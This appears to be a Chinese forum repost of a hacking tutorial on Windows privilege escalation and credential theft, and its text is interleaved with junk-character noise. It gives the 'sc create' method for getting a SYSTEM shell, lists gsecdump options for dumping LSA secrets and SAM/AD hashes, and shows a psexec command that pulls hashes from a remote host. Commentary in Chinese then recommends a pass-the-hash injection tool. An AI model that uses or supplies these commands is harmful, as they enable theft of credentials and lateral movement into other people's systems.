HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS

& j; R+ m& b3 _7 t6 I: U+ n$ lC:\>sc start shellcmdline
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

; m" x# V1 M( Z" eC:\>sc delete shellcmdline
[SC] DeleteService SUCCESS

) D3 {+ _  Q; q1 W------------
0 ]: t* R1 i) `- A- O8 m  h) [
Then in the new DOS window:
3 d# {6 p# N7 b+ @/ G& A% [: z9 p
  S& @- g4 Q9 y& C1 q5 KMicrosoft Windows XP [Version 5.1.2600]
2 N! T5 Y: L  l2 K(C) Copyright 1985-2001 Microsoft Corp.
5 m. \% i/ p4 c% Q& l8 M% v* d* S
C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
5 i3 |* d% |7 \& `+ \% l
7 F, S1 `7 d; W4 Q1 V4 kC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
6 g% G3 C+ h# p2 w" ^usage: gsecdump [options]

# M2 X" F2 q- T- ^7 qoptions:
6 Y. Q7 k+ A5 Z. w( N-h [ --help ] show help
9 A1 D7 L0 f9 w& Y/ {7 _-a [ --dump_all ] dump all secrets
* ?, V1 e" H3 Z. m: L- |-l [ --dump_lsa ] dump lsa secrets
8 n$ d8 N; }) O$ }-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:
$ m2 A/ g; U, L/ Z  {3 o+ l) r3 J
( u2 P1 q. o9 v8 @' u, W% q- y7 nPsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
) E& c# P+ n( ?, JSysinternals - 链接标记[url]www.sysinternals.com[/url]

3 E6 ^$ I9 B* e" @2 iC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

* O. A- h- i% j8 A5 F( B5 M4 _: `$ Jto get the hashes from active logon sessions of a remote system.
! A; x+ ]9 l1 [( K  ?
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

) ^/ W% @6 H: _0 x2 P' @7 `提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
$ {( K+ p. T" O/ u( b* |( h